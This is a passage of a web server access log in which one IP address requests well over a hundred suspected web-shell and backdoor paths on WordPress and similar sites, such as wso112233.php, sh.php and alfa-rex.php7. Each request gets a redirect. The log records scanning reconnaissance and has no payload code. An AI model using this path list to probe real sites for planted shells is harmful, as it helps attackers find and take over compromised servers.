Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:21 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:21 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:21 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:22 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:22 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:22 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:22 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:22 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:22 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:23 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:23 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:23 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:23 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:23 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:24 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:24 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:32:24 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:24 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:24 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:32:24 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:25 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:32:25 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:32:25 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:25 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:25 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:26 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:26 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:26 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:26 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:26 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:27 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:27 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:27 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:27 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:32:27 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:32:27 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:28 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:28 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:32:28 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:28 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:28 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:29 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:29 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:29 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:29 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:29 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:32:30 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:30 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:30 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:32:30 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:30 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:30 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:31 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:31 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:31 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:31 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:31 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:31 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:32 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:32:32 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:32:32 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:32 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:32 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:32 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:33 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:33 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:33 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:33 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:33 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:33 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:34 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:34 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:34 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:32:34 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:34 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:34 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:35 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:35 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:35 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:35 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:35 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:35 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:36 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:36 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:36 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:36 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:36 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:37 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:37 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:32:37 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:37 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:37 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:37 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:38 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:38 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:32:38 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:38 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:38 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:39 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:39 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:39 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:39 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:39 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:39 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:40 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:40 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:32:40 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:40 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:40 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:41 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:32:41 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:41 -0400] "GET /fox.php HTTP/1.1" 301 